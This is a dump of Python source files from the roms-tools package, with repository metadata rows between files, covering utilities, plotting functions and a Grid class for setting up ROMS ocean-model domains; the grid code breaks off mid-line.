cftime.DatetimeGregorian, cftime.Datetime360Day, cftime.DatetimeProlepticGregorian, ) # Check if any of the coordinate values are of cftime, datetime, or integer type if isinstance(data_array.values, (np.ndarray, list)): # Check if the data type is numpy datetime64, indicating standard datetime objects if data_array.values.dtype == "datetime64[ns]": return "datetime" # Check if any values in the array are instances of cftime types if any(isinstance(value, cftime_types) for value in data_array.values): return "cftime" # Check if all values are of integer type (e.g., for indices or time steps) if np.issubdtype(data_array.values.dtype, np.integer): return "int" # If none of the above conditions are met, raise a ValueError raise ValueError("Unsupported data type for time values in input dataset.") # Handle unexpected types raise TypeError("DataArray values must be of type numpy.ndarray or list.") def convert_cftime_to_datetime(data_array: np.ndarray) -> np.ndarray: """Converts cftime datetime objects to numpy datetime64 objects in a numpy ndarray. Parameters ---------- data_array : np.ndarray The numpy ndarray containing cftime datetime objects to be converted. Returns ------- np.ndarray The ndarray with cftime datetimes converted to numpy datetime64 objects. Notes ----- This function is intended to be used with numpy ndarrays. If you need to convert cftime datetime objects in an xarray.DataArray, please use the appropriate function to handle xarray.DataArray conversions. """ # List of cftime datetime types cftime_types = ( cftime.DatetimeNoLeap, cftime.DatetimeJulian, cftime.DatetimeGregorian, ) # Define a conversion function for cftime to numpy datetime64 def convert_datetime(dt): if isinstance(dt, cftime_types): # Convert to ISO format and then to nanosecond precision return np.datetime64(dt.isoformat(), "ns") return np.datetime64(dt, "ns") return np.vectorize(convert_datetime)(data_array) def get_variable_metadata(): """Retrieves metadata for commonly used variables in the dataset. This function returns a dictionary containing the metadata for various variables, including long names and units for each variable. Returns ------- dict of str: dict Dictionary where keys are variable names and values are dictionaries with "long_name" and "units" keys. """ d = { "ssh_Re": {"long_name": "Tidal elevation, real part", "units": "m"}, "ssh_Im": {"long_name": "Tidal elevation, complex part", "units": "m"}, "pot_Re": {"long_name": "Tidal potential, real part", "units": "m"}, "pot_Im": {"long_name": "Tidal potential, complex part", "units": "m"}, "u_Re": { "long_name": "Tidal velocity in x-direction, real part", "units": "m/s", }, "u_Im": { "long_name": "Tidal velocity in x-direction, complex part", "units": "m/s", }, "v_Re": { "long_name": "Tidal velocity in y-direction, real part", "units": "m/s", }, "v_Im": { "long_name": "Tidal velocity in y-direction, complex part", "units": "m/s", }, "uwnd": {"long_name": "10 meter wind in x-direction", "units": "m/s"}, "vwnd": {"long_name": "10 meter wind in y-direction", "units": "m/s"}, "swrad": { "long_name": "downward short-wave (solar) radiation", "units": "W/m^2", }, "lwrad": { "long_name": "downward long-wave (thermal) radiation", "units": "W/m^2", }, "Tair": {"long_name": "air temperature at 2m", "units": "degrees Celsius"}, "qair": {"long_name": "absolute humidity at 2m", "units": "kg/kg"}, "rain": {"long_name": "total precipitation", "units": "cm/day"}, "temp": {"long_name": "potential temperature", "units": "degrees Celsius"}, "salt": {"long_name": "salinity", "units": "PSU"}, "zeta": {"long_name": "sea surface height", "units": "m"}, "u": {"long_name": "u-flux component", "units": "m/s"}, "v": {"long_name": "v-flux component", "units": "m/s"}, "w": {"long_name": "w-flux component", "units": "m/s"}, "ubar": { "long_name": "vertically integrated u-flux component", "units": "m/s", }, "vbar": { "long_name": "vertically integrated v-flux component", "units": "m/s", }, "PO4": {"long_name": "dissolved inorganic phosphate", "units": "mmol/m^3"}, "NO3": {"long_name": "dissolved inorganic nitrate", "units": "mmol/m^3"}, "SiO3": {"long_name": "dissolved inorganic silicate", "units": "mmol/m^3"}, "NH4": {"long_name": "dissolved ammonia", "units": "mmol/m^3"}, "Fe": {"long_name": "dissolved inorganic iron", "units": "mmol/m^3"}, "Lig": {"long_name": "iron binding ligand", "units": "mmol/m^3"}, "O2": {"long_name": "dissolved oxygen", "units": "mmol/m^3"}, "DIC": {"long_name": "dissolved inorganic carbon", "units": "mmol/m^3"}, "DIC_ALT_CO2": { "long_name": "dissolved inorganic carbon, alternative CO2", "units": "mmol/m^3", }, "ALK": {"long_name": "alkalinity", "units": "meq/m^3"}, "ALK_ALT_CO2": { "long_name": "alkalinity, alternative CO2", "units": "meq/m^3", }, "DOC": {"long_name": "dissolved organic carbon", "units": "mmol/m^3"}, "DON": {"long_name": "dissolved organic nitrogen", "units": "mmol/m^3"}, "DOP": {"long_name": "dissolved organic phosphorus", "units": "mmol/m^3"}, "DOCr": { "long_name": "refractory dissolved organic carbon", "units": "mmol/m^3", }, "DONr": { "long_name": "refractory dissolved organic nitrogen", "units": "mmol/m^3", }, "DOPr": { "long_name": "refractory dissolved organic phosphorus", "units": "mmol/m^3", }, "zooC": {"long_name": "zooplankton carbon", "units": "mmol/m^3"}, "spChl": { "long_name": "small phytoplankton chlorophyll", "units": "mg/m^3", }, "spC": {"long_name": "small phytoplankton carbon", "units": "mmol/m^3"}, "spP": { "long_name": "small phytoplankton phosphorous", "units": "mmol/m^3", }, "spFe": {"long_name": "small phytoplankton iron", "units": "mmol/m^3"}, "spCaCO3": {"long_name": "small phytoplankton CaCO3", "units": "mmol/m^3"}, "diatChl": {"long_name": "diatom chloropyll", "units": "mg/m^3"}, "diatC": {"long_name": "diatom carbon", "units": "mmol/m^3"}, "diatP": {"long_name": "diatom phosphorus", "units": "mmol/m^3"}, "diatFe": {"long_name": "diatom iron", "units": "mmol/m^3"}, "diatSi": {"long_name": "diatom silicate", "units": "mmol/m^3"}, "diazChl": {"long_name": "diazotroph chloropyll", "units": "mg/m^3"}, "diazC": {"long_name": "diazotroph carbon", "units": "mmol/m^3"}, "diazP": {"long_name": "diazotroph phosphorus", "units": "mmol/m^3"}, "diazFe": {"long_name": "diazotroph iron", "units": "mmol/m^3"}, "pco2_air": {"long_name": "atmospheric pCO2", "units": "ppmv"}, "pco2_air_alt": { "long_name": "atmospheric pCO2, alternative CO2", "units": "ppmv", }, "iron": {"long_name": "iron decomposition", "units": "nmol/cm^2/s"}, "dust": {"long_name": "dust decomposition", "units": "kg/m^2/s"}, "nox": {"long_name": "NOx decomposition", "units": "kg/m^2/s"}, "nhy": {"long_name": "NHy decomposition", "units": "kg/m^2/s"}, } return d def extract_single_value(data): """Extracts a single value from an xarray.DataArray or numpy array. Parameters ---------- data : xarray.DataArray or numpy.ndarray The data from which to extract the single value. Returns ------- scalar The single value contained in the array. Raises ------ ValueError If the data contains more than one element or is not a recognized type. """ # Convert xarray.DataArray to numpy array if necessary if isinstance(data, xr.DataArray): data = data.values # Check that the data is a numpy array and contains only one element if isinstance(data, np.ndarray) and data.size == 1: return data.item() else: raise ValueError("Data must be a single-element array or DataArray.") def group_dataset(ds, filepath): """Group the dataset into monthly or yearly subsets based on the frequency of the data. Parameters ---------- ds : xarray.Dataset The dataset to be grouped. filepath : str The base filename for the output files. Returns ------- tuple A tuple containing the list of grouped datasets and corresponding output filenames. """ if hasattr(ds, "climatology"): output_filename = f"{filepath}_clim" output_filenames = [output_filename] dataset_list = [ds] else: if len(ds["abs_time"]) > 2: # Determine the frequency of the data abs_time_freq = pd.infer_freq(ds["abs_time"].to_index()) if abs_time_freq.lower() in [ "d", "h", "t", "s", ]: # Daily or higher frequency dataset_list, output_filenames = group_by_month(ds, filepath) else: dataset_list, output_filenames = group_by_year(ds, filepath) else: # Convert time index to datetime if not already abs_time_index = ds["abs_time"].to_index() # Determine if the entries are in the same month first_entry = abs_time_index[0] last_entry = abs_time_index[-1] if ( first_entry.year == last_entry.year and first_entry.month == last_entry.month ): # Same month dataset_list, output_filenames = group_by_month(ds, filepath) else: # Different months, group by year dataset_list, output_filenames = group_by_year(ds, filepath) return dataset_list, output_filenames def group_by_month(ds, filepath): """Group the dataset by month and generate filenames with 'YYYYMM' format. Parameters ---------- ds : xarray.Dataset The dataset to be grouped. filepath : str The base filename for the output files. Returns ------- tuple A tuple containing the list of monthly datasets and corresponding output filenames. """ dataset_list = [] output_filenames = [] # Group dataset by year grouped_by_year = ds.groupby("abs_time.year") for year, yearly_dataset in grouped_by_year: # Further group each yearly group by month grouped_by_month = yearly_dataset.groupby("abs_time.month") for month, monthly_dataset in grouped_by_month: dataset_list.append(monthly_dataset) # Format: "filepath_YYYYMM.nc" year_month_str = f"{year}{month:02}" output_filename = f"{filepath}_{year_month_str}" output_filenames.append(output_filename) return dataset_list, output_filenames def group_by_year(ds, filepath): """Group the dataset by year and generate filenames with 'YYYY' format. Parameters ---------- ds : xarray.Dataset The dataset to be grouped. filepath : str The base filename for the output files. Returns ------- tuple A tuple containing the list of yearly datasets and corresponding output filenames. """ dataset_list = [] output_filenames = [] # Group dataset by year grouped_by_year = ds.groupby("abs_time.year") for year, yearly_dataset in grouped_by_year: dataset_list.append(yearly_dataset) # Format: "filepath_YYYY.nc" year_str = f"{year}" output_filename = f"{filepath}_{year_str}" output_filenames.append(output_filename) return dataset_list, output_filenames def save_datasets(dataset_list, output_filenames, np_eta=None, np_xi=None): """Save the list of datasets to netCDF4 files, with optional spatial partitioning. Parameters ---------- dataset_list : list List of datasets to be saved. output_filenames : list List of filenames for the output files. np_eta : int, optional The number of partitions along the `eta` direction. If `None`, no spatial partitioning is performed. np_xi : int, optional The number of partitions along the `xi` direction. If `None`, no spatial partitioning is performed. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ saved_filenames = [] if np_eta is None and np_xi is None: # Save the dataset as a single file output_filenames = [f"{filename}.nc" for filename in output_filenames] xr.save_mfdataset(dataset_list, output_filenames) saved_filenames.extend(Path(f) for f in output_filenames) else: # Partition the dataset and save each partition as a separate file np_eta = np_eta or 1 np_xi = np_xi or 1 partitioned_datasets = [] partitioned_filenames = [] for dataset, base_filename in zip(dataset_list, output_filenames): partition_indices, partitions = partition( dataset, np_eta=np_eta, np_xi=np_xi ) partition_filenames = [ f"{base_filename}.{index}.nc" for index in partition_indices ] partitioned_datasets.extend(partitions) partitioned_filenames.extend(partition_filenames) xr.save_mfdataset(partitioned_datasets, partitioned_filenames) saved_filenames.extend(Path(f) for f in partitioned_filenames) return saved_filenames def get_target_coords(grid, use_coarse_grid=False): """Retrieves longitude and latitude coordinates from the grid, adjusting them based on longitude range. Parameters ---------- grid : Grid Object representing the grid information used for the model. use_coarse_grid : bool, optional Use coarse grid data if True. Defaults to False. Returns ------- dict Dictionary containing the longitude, latitude, and angle arrays, along with a boolean indicating if the grid straddles the meridian. """ # Select grid variables based on whether the coarse grid is used if use_coarse_grid: lat, lon, angle = ( grid.ds.lat_coarse, grid.ds.lon_coarse, grid.ds.angle_coarse, ) lat_psi = grid.ds.get("lat_psi_coarse") lon_psi = grid.ds.get("lon_psi_coarse") else: lat, lon, angle = ( grid.ds.lat_rho, grid.ds.lon_rho, grid.ds.angle, ) lat_psi = grid.ds.get("lat_psi") lon_psi = grid.ds.get("lon_psi") # Operate on longitudes between -180 and 180 unless ROMS domain lies at least 5 degrees in lontitude away from Greenwich meridian lon = xr.where(lon > 180, lon - 360, lon) if lon_psi is not None: lon_psi = xr.where(lon_psi > 180, lon_psi - 360, lon_psi) straddle = True if not grid.straddle and abs(lon).min() > 5: lon = xr.where(lon < 0, lon + 360, lon) if lon_psi is not None: lon_psi = xr.where(lon_psi < 0, lon_psi + 360, lon_psi) straddle = False target_coords = { "lat": lat, "lon": lon, "lat_psi": lat_psi, "lon_psi": lon_psi, "angle": angle, "straddle": straddle, } return target_coords def rotate_velocities( u: xr.DataArray, v: xr.DataArray, angle: xr.DataArray, interpolate: bool = True ) -> tuple[xr.DataArray, xr.DataArray]: """Rotate and optionally interpolate velocity components to align with grid orientation. Parameters ---------- u : xarray.DataArray Zonal (east-west) velocity component at u-points. v : xarray.DataArray Meridional (north-south) velocity component at v-points. angle : xarray.DataArray Grid angle values for rotation. interpolate : bool, optional If True, interpolates rotated velocities to grid points (default is True). Returns ------- tuple of xarray.DataArray Rotated velocity components (u_rot, v_rot). Notes ----- - Rotation formulas: - u_rot = u * cos(angle) + v * sin(angle) - v_rot = v * cos(angle) - u * sin(angle) """ # Rotate velocities to grid orientation u_rot = u * np.cos(angle) + v * np.sin(angle) v_rot = v * np.cos(angle) - u * np.sin(angle) # Interpolate to u- and v-points if interpolate: u_rot = interpolate_from_rho_to_u(u_rot) v_rot = interpolate_from_rho_to_v(v_rot) return u_rot, v_rot def compute_barotropic_velocity( vel: xr.DataArray, interface_depth: xr.DataArray ) -> xr.DataArray: """Compute barotropic (depth-averaged) velocity from 3D velocity. Assumes `vel` and `interface_depth` are at the same horizontal grid location. Parameters ---------- vel : xarray.DataArray Velocity components (zonal and meridional) at u- and v-points. interface_depth : xarray.DataArray Depth values for computing layer thickness. Returns ------- xarray.DataArray Depth-averaged velocity (`vel_bar`). Notes ----- Computed as: - `vel_bar` = sum(dz * vel) / sum(dz) """ # Layer thickness dz = -interface_depth.diff(dim="s_w") dz = dz.rename({"s_w": "s_rho"}) vel_bar = (dz * vel).sum(dim="s_rho") / dz.sum(dim="s_rho") return vel_bar def transpose_dimensions(da: xr.DataArray) -> xr.DataArray: """Transpose the dimensions of an xarray.DataArray to ensure that 'time', any dimension starting with 's_', 'eta_', and 'xi_' are ordered first, followed by the remaining dimensions in their original order. Parameters ---------- da : xarray.DataArray The input DataArray whose dimensions are to be reordered. Returns ------- xarray.DataArray The DataArray with dimensions reordered so that 'time', 's_*', 'eta_*', and 'xi_*' are first, in that order, if they exist. """ # List of preferred dimension patterns preferred_order = ["time", "s_", "eta_", "xi_"] # Get the existing dimensions in the DataArray dims = list(da.dims) # Collect dimensions that match any of the preferred patterns matched_dims = [] for pattern in preferred_order: # Find dimensions that start with the pattern matched_dims += [dim for dim in dims if dim.startswith(pattern)] # Create a new order: first the matched dimensions, then the rest remaining_dims = [dim for dim in dims if dim not in matched_dims] new_order = matched_dims + remaining_dims # Transpose the DataArray to the new order transposed_da = da.transpose(*new_order) return transposed_da def get_vector_pairs(variable_info): """Extracts all unique vector pairs from the variable_info dictionary. Parameters ---------- variable_info : dict Dictionary containing variable information, including location, whether it's a vector, and its vector pair. Returns ------- list of tuples List of unique vector pairs, where each tuple contains the names of the two vector components (e.g., ("u", "v")). """ vector_pairs = [] processed = set() # Track variables that have already been paired for var_name, var_info in variable_info.items(): if var_info["is_vector"] and var_name not in processed: vector_pair = var_info["vector_pair"] # Ensure the vector_pair exists in the dictionary and has not been processed if vector_pair and vector_pair in variable_info: vector_pairs.append((var_name, vector_pair)) # Mark both the variable and its pair as processed processed.update([var_name, vector_pair]) return vector_pairs
33,581
Python
.py
771
35.726329
148
0.633904
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,710
plot.py
CWorthy-ocean_roms-tools/roms_tools/setup/plot.py
import cartopy.crs as ccrs import matplotlib.pyplot as plt import xarray as xr def _plot( grid_ds, field=None, depth_contours=False, straddle=False, c="red", title="", kwargs={}, ): if field is None: lon_deg = grid_ds["lon_rho"] lat_deg = grid_ds["lat_rho"] else: field = field.squeeze() lon_deg = field.lon lat_deg = field.lat # check if North or South pole are in domain if lat_deg.max().values > 89 or lat_deg.min().values < -89: raise NotImplementedError( "Plotting is not implemented for the case that the domain contains the North or South pole." ) if straddle: lon_deg = xr.where(lon_deg > 180, lon_deg - 360, lon_deg) # Define projections proj = ccrs.PlateCarree() trans = ccrs.NearsidePerspective( central_longitude=lon_deg.mean().values, central_latitude=lat_deg.mean().values ) lon_deg = lon_deg.values lat_deg = lat_deg.values # find corners corners = [ (lon_deg[0, 0], lat_deg[0, 0]), (lon_deg[0, -1], lat_deg[0, -1]), (lon_deg[-1, -1], lat_deg[-1, -1]), (lon_deg[-1, 0], lat_deg[-1, 0]), ] # transform coordinates to projected space transformed_corners = [trans.transform_point(lo, la, proj) for lo, la in corners] transformed_lons, transformed_lats = zip(*transformed_corners) fig, ax = plt.subplots(1, 1, figsize=(13, 7), subplot_kw={"projection": trans}) ax.plot( list(transformed_lons) + [transformed_lons[0]], list(transformed_lats) + [transformed_lats[0]], "o-", c=c, ) ax.coastlines( resolution="50m", linewidth=0.5, color="black" ) # add map of coastlines ax.gridlines() ax.set_title(title) if field is not None: p = ax.pcolormesh(lon_deg, lat_deg, field, transform=proj, **kwargs) if hasattr(field, "long_name"): label = f"{field.long_name} [{field.units}]" elif hasattr(field, "Long_name"): # this is the case for matlab generated grids label = f"{field.Long_name} [{field.units}]" else: label = "" plt.colorbar(p, label=label) if depth_contours: cs = ax.contour(lon_deg, lat_deg, field.layer_depth, transform=proj, colors="k") ax.clabel(cs, inline=True, fontsize=10) return fig def _section_plot(field, interface_depth=None, title="", kwargs={}): fig, ax = plt.subplots(1, 1, figsize=(9, 5)) dims_to_check = ["eta_rho", "eta_u", "eta_v", "xi_rho", "xi_u", "xi_v"] try: xdim = next( dim for dim in field.dims if any(dim.startswith(prefix) for prefix in dims_to_check) ) except StopIteration: raise ValueError( "None of the dimensions found in field.dims starts with (eta_rho, eta_u, eta_v, xi_rho, xi_u, xi_v)" ) depths_to_check = [ "layer_depth", "interface_depth", ] try: depth_label = next( depth_label for depth_label in field.coords if any(depth_label.startswith(prefix) for prefix in depths_to_check) ) except StopIteration: raise ValueError( "None of the coordinates found in field.coords starts with (layer_depth_rho, layer_depth_u, layer_depth_v, interface_depth_rho, interface_depth_u, interface_depth_v)" ) more_kwargs = {"x": xdim, "y": depth_label, "yincrease": False} field.plot(**kwargs, **more_kwargs, ax=ax) if interface_depth is not None: layer_key = "s_rho" if "s_rho" in interface_depth else "s_w" for i in range(len(interface_depth[layer_key])): ax.plot( interface_depth[xdim], interface_depth.isel({layer_key: i}), color="k" ) ax.set_title(title) def _profile_plot(field, title=""): depths_to_check = [ "layer_depth_rho", "layer_depth_u", "layer_depth_v", "interface_depth_rho", "interface_depth_u", "interface_depth_v", ] try: depth_label = next( depth_label for depth_label in depths_to_check if depth_label in field.coords ) except StopIteration: raise ValueError( "None of the expected coordinates (layer_depth_rho, layer_depth_u, layer_depth_v, interface_depth_rho, interface_depth_u, interface_depth_v) found in field.coords" ) fig, ax = plt.subplots(1, 1, figsize=(4, 7)) kwargs = {"y": depth_label, "yincrease": False} field.plot(**kwargs) ax.set_title(title) ax.grid() def _line_plot(field, title=""): fig, ax = plt.subplots(1, 1, figsize=(7, 4)) field.plot() ax.set_title(title) ax.grid()
4,856
Python
.py
134
28.447761
178
0.594283
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,711
grid.py
CWorthy-ocean_roms-tools/roms_tools/setup/grid.py
import copy from dataclasses import dataclass, field, asdict import numpy as np import xarray as xr import matplotlib.pyplot as plt import yaml import importlib.metadata from typing import Union from roms_tools.setup.topography import _add_topography_and_mask, _add_velocity_masks from roms_tools.setup.plot import _plot, _section_plot, _profile_plot, _line_plot from roms_tools.setup.utils import interpolate_from_rho_to_u, interpolate_from_rho_to_v from roms_tools.setup.vertical_coordinate import sigma_stretch, compute_depth from roms_tools.setup.utils import extract_single_value, save_datasets import warnings from pathlib import Path RADIUS_OF_EARTH = 6371315.0 # in m @dataclass(frozen=True, kw_only=True) class Grid: """A single ROMS grid. Used for creating, plotting, and then saving a new ROMS domain grid. Parameters ---------- nx : int Number of grid points in the x-direction. ny : int Number of grid points in the y-direction. size_x : float Domain size in the x-direction (in kilometers). size_y : float Domain size in the y-direction (in kilometers). center_lon : float Longitude of grid center. center_lat : float Latitude of grid center. rot : float, optional Rotation of grid x-direction from lines of constant latitude, measured in degrees. Positive values represent a counterclockwise rotation. The default is 0, which means that the x-direction of the grid is aligned with lines of constant latitude. N : int, optional The number of vertical levels. The default is 100. theta_s : float, optional The surface control parameter. Must satisfy 0 < theta_s <= 10. The default is 5.0. theta_b : float, optional The bottom control parameter. Must satisfy 0 < theta_b <= 4. The default is 2.0. hc : float, optional The critical depth (in meters). The default is 300.0. topography_source : str, optional Specifies the data source to use for the topography. Options are "ETOPO5". The default is "ETOPO5". hmin : float, optional The minimum ocean depth (in meters). The default is 5.0. Raises ------ ValueError If you try to create a grid with domain size larger than 20000 km. """ nx: int ny: int size_x: float size_y: float center_lon: float center_lat: float rot: float = 0 N: int = 100 theta_s: float = 5.0 theta_b: float = 2.0 hc: float = 300.0 topography_source: str = "ETOPO5" hmin: float = 5.0 ds: xr.Dataset = field(init=False, repr=False) straddle: bool = field(init=False, repr=False) def __post_init__(self): ds = _make_grid_ds( nx=self.nx, ny=self.ny, size_x=self.size_x, size_y=self.size_y, center_lon=self.center_lon, center_lat=self.center_lat, rot=self.rot, ) # Calling object.__setattr__ is ugly but apparently this really is the best (current) way to combine __post_init__ with a frozen dataclass # see https://stackoverflow.com/questions/53756788/how-to-set-the-value-of-dataclass-field-in-post-init-when-frozen-true object.__setattr__(self, "ds", ds) # Update self.ds with topography and mask information self.update_topography_and_mask( topography_source=self.topography_source, hmin=self.hmin, ) # Check if the Greenwich meridian goes through the domain. self._straddle() object.__setattr__(self, "ds", ds) # Update the grid by adding grid variables that are coarsened versions of the original grid variables self._coarsen() self.update_vertical_coordinate( N=self.N, theta_s=self.theta_s, theta_b=self.theta_b, hc=self.hc ) def update_topography_and_mask(self, hmin, topography_source="ETOPO5") -> None: """Update the grid dataset by adding or overwriting the topography and land/sea mask. This method processes the topography data and generates a land/sea mask. It applies several steps, including interpolating topography, smoothing the topography over the entire domain and locally, and filling in enclosed basins. The processed topography and mask are added to the grid's dataset as new variables. Parameters ---------- hmin : float The minimum ocean depth (in meters). topography_source : str Specifies the data source to use for the topography. Options are "ETOPO5". Default is "ETOPO5". Returns ------- None This method modifies the dataset in place and does not return a value. """ ds = _add_topography_and_mask(self.ds, topography_source, hmin) # Assign the updated dataset back to the frozen dataclass object.__setattr__(self, "ds", ds) object.__setattr__(self, "topography_source", topography_source) object.__setattr__(self, "hmin", hmin) def _straddle(self) -> None: """Check if the Greenwich meridian goes through the domain. This method sets the `straddle` attribute to `True` if the Greenwich meridian (0° longitude) intersects the domain defined by `lon_rho`. Otherwise, it sets the `straddle` attribute to `False`. The check is based on whether the longitudinal differences between adjacent points exceed 300 degrees, indicating a potential wraparound of longitude. """ if ( np.abs(self.ds.lon_rho.diff("xi_rho")).max() > 300 or np.abs(self.ds.lon_rho.diff("eta_rho")).max() > 300 ): object.__setattr__(self, "straddle", True) else: object.__setattr__(self, "straddle", False) def _coarsen(self): """Update the grid by adding grid variables that are coarsened versions of the original fine-resoluion grid variables. The coarsening is by a factor of two. The specific variables being coarsened are: - `lon_rho` -> `lon_coarse`: Longitude at rho points. - `lat_rho` -> `lat_coarse`: Latitude at rho points. - `angle` -> `angle_coarse`: Angle between the xi axis and true east. - `mask_rho` -> `mask_coarse`: Land/sea mask at rho points. Returns ------- None Modifies -------- self.ds : xr.Dataset The dataset attribute of the Grid instance is updated with the new coarser variables. """ d = { "angle": "angle_coarse", "mask_rho": "mask_coarse", "lat_rho": "lat_coarse", "lon_rho": "lon_coarse", } for fine_var, coarse_var in d.items(): fine_field = self.ds[fine_var] if self.straddle and fine_var == "lon_rho": fine_field = xr.where(fine_field > 180, fine_field - 360, fine_field) coarse_field = _f2c(fine_field) if fine_var == "lon_rho": coarse_field = xr.where( coarse_field < 0, coarse_field + 360, coarse_field ) if coarse_var in ["lon_coarse", "lat_coarse"]: ds = self.ds.assign_coords({coarse_var: coarse_field}) object.__setattr__(self, "ds", ds) else: self.ds[coarse_var] = coarse_field self.ds["mask_coarse"] = xr.where(self.ds["mask_coarse"] > 0.5, 1, 0).astype( np.int32 ) for fine_var, coarse_var in d.items(): self.ds[coarse_var].attrs[ "long_name" ] = f"{self.ds[fine_var].attrs['long_name']} on coarsened grid" self.ds[coarse_var].attrs["units"] = self.ds[fine_var].attrs["units"] def update_vertical_coordinate(self, N, theta_s, theta_b, hc) -> None: """Create vertical coordinate variables for the ROMS grid. This method computes the S-coordinate stretching curves and depths at various grid points (rho, u, v) using the specified parameters. The computed depths and stretching curves are added to the dataset as new coordinates, along with their corresponding attributes. Parameters ---------- N : int Number of vertical levels. theta_s : float S-coordinate surface control parameter. theta_b : float S-coordinate bottom control parameter. hc : float Critical depth (m) used in ROMS vertical coordinate stretching. Returns ------- None This method modifies the dataset in place by adding vertical coordinate variables. """ ds = self.ds # need to drop vertical coordinates because they could cause conflict if N changed vars_to_drop = [ "layer_depth_rho", "layer_depth_u", "layer_depth_v", "interface_depth_rho", "interface_depth_u", "interface_depth_v", "Cs_w", "Cs_r", ] for var in vars_to_drop: if var in ds.variables: ds = ds.drop_vars(var) h = ds.h cs_r, sigma_r = sigma_stretch(theta_s, theta_b, N, "r") zr = compute_depth(h * 0, h, hc, cs_r, sigma_r) cs_w, sigma_w = sigma_stretch(theta_s, theta_b, N, "w") zw = compute_depth(h * 0, h, hc, cs_w, sigma_w) ds["Cs_r"] = cs_r.astype(np.float32) ds["Cs_r"].attrs["long_name"] = "S-coordinate stretching curves at rho-points" ds["Cs_r"].attrs["units"] = "nondimensional" ds["Cs_w"] = cs_w.astype(np.float32) ds["Cs_w"].attrs["long_name"] = "S-coordinate stretching curves at w-points" ds["Cs_w"].attrs["units"] = "nondimensional" ds.attrs["theta_s"] = np.float32(theta_s) ds.attrs["theta_b"] = np.float32(theta_b) ds.attrs["hc"] = np.float32(hc) depth = -zr depth.attrs["long_name"] = "Layer depth at rho-points" depth.attrs["units"] = "m" depth_u = interpolate_from_rho_to_u(depth) depth_u.attrs["long_name"] = "Layer depth at u-points" depth_u.attrs["units"] = "m" depth_v = interpolate_from_rho_to_v(depth) depth_v.attrs["long_name"] = "Layer depth at v-points" depth_v.attrs["units"] = "m" interface_depth = -zw interface_depth.attrs["long_name"] = "Interface depth at rho-points" interface_depth.attrs["units"] = "m" interface_depth_u = interpolate_from_rho_to_u(interface_depth) interface_depth_u.attrs["long_name"] = "Interface depth at u-points" interface_depth_u.attrs["units"] = "m" interface_depth_v = interpolate_from_rho_to_v(interface_depth) interface_depth_v.attrs["long_name"] = "Interface depth at v-points" interface_depth_v.attrs["units"] = "m" ds = ds.assign_coords( { "layer_depth_rho": depth.astype(np.float32), "layer_depth_u": depth_u.astype(np.float32), "layer_depth_v": depth_v.astype(np.float32), "interface_depth_rho": interface_depth.astype(np.float32), "interface_depth_u": interface_depth_u.astype(np.float32), "interface_depth_v": interface_depth_v.astype(np.float32), } ) ds = ds.drop_vars(["eta_rho", "xi_rho"]) object.__setattr__(self, "ds", ds) object.__setattr__(self, "theta_s", theta_s) object.__setattr__(self, "theta_b", theta_b) object.__setattr__(self, "hc", hc) object.__setattr__(self, "N", N) def plot(self, bathymetry: bool = False) -> None: """Plot the grid. Parameters ---------- bathymetry : bool Whether or not to plot the bathymetry. Default is False. Returns ------- None This method does not return any value. It generates and displays a plot. """ if bathymetry: field = self.ds.h.where(self.ds.mask_rho) field = field.assign_coords( {"lon": self.ds.lon_rho, "lat": self.ds.lat_rho} ) vmax = field.max().values vmin = field.min().values cmap = plt.colormaps.get_cmap("YlGnBu") cmap.set_bad(color="gray") kwargs = {"vmax": vmax, "vmin": vmin, "cmap": cmap} _plot( self.ds, field=field, straddle=self.straddle, kwargs=kwargs, ) else: _plot(self.ds, straddle=self.straddle) def plot_vertical_coordinate( self, varname="layer_depth_rho", s=None, eta=None, xi=None, ) -> None: """Plot the vertical coordinate system for a given eta-, xi-, or s-slice. Parameters ---------- varname : str, optional The vertical coordinate field to plot. Options include: - "layer_depth_rho": Layer depth at rho-points. - "layer_depth_u": Layer depth at u-points. - "layer_depth_v": Layer depth at v-points. - "interface_depth_rho": Interface depth at rho-points. - "interface_depth_u": Interface depth at u-points. - "interface_depth_v": Interface depth at v-points. s: int, optional The s-index to plot. Default is None. eta : int, optional The eta-index to plot. Default is None. xi : int, optional The xi-index to plot. Default is None. Returns ------- None This method does not return any value. It generates and displays a plot. Raises ------ ValueError If the specified varname is not one of the valid options. If none of s, eta, xi are specified. """ if not any([s is not None, eta is not None, xi is not None]): raise ValueError("At least one of s, eta, or xi must be specified.") self.ds[varname].load() field = self.ds[varname].squeeze() if all(dim in field.dims for dim in ["eta_rho", "xi_rho"]): interface_depth = self.ds.interface_depth_rho field = field.where(self.ds.mask_rho) field = field.assign_coords( {"lon": self.ds.lon_rho, "lat": self.ds.lat_rho} ) elif all(dim in field.dims for dim in ["eta_rho", "xi_u"]): interface_depth = self.ds.interface_depth_u field = field.where(self.ds.mask_u) field = field.assign_coords({"lon": self.ds.lon_u, "lat": self.ds.lat_u}) elif all(dim in field.dims for dim in ["eta_v", "xi_rho"]): interface_depth = self.ds.interface_depth_v field = field.where(self.ds.mask_v) field = field.assign_coords({"lon": self.ds.lon_v, "lat": self.ds.lat_v}) # slice the field as desired title = field.long_name if s is not None: if "s_rho" in field.dims: title = title + f", s_rho = {field.s_rho[s].item()}" field = field.isel(s_rho=s) elif "s_w" in field.dims: title = title + f", s_w = {field.s_w[s].item()}" field = field.isel(s_w=s) else: raise ValueError( f"None of the expected dimensions (s_rho, s_w) found in ds[{varname}]." ) if eta is not None: if "eta_rho" in field.dims: title = title + f", eta_rho = {field.eta_rho[eta].item()}" field = field.isel(eta_rho=eta) interface_depth = interface_depth.isel(eta_rho=eta) elif "eta_v" in field.dims: title = title + f", eta_v = {field.eta_v[eta].item()}" field = field.isel(eta_v=eta) interface_depth = interface_depth.isel(eta_v=eta) else: raise ValueError( f"None of the expected dimensions (eta_rho, eta_v) found in ds[{varname}]." ) if xi is not None: if "xi_rho" in field.dims: title = title + f", xi_rho = {field.xi_rho[xi].item()}" field = field.isel(xi_rho=xi) interface_depth = interface_depth.isel(xi_rho=xi) elif "xi_u" in field.dims: title = title + f", xi_u = {field.xi_u[xi].item()}" field = field.isel(xi_u=xi) interface_depth = interface_depth.isel(xi_u=xi) else: raise ValueError( f"None of the expected dimensions (xi_rho, xi_u) found in ds[{varname}]." ) if eta is None and xi is None: vmax = field.max().values vmin = field.min().values cmap = 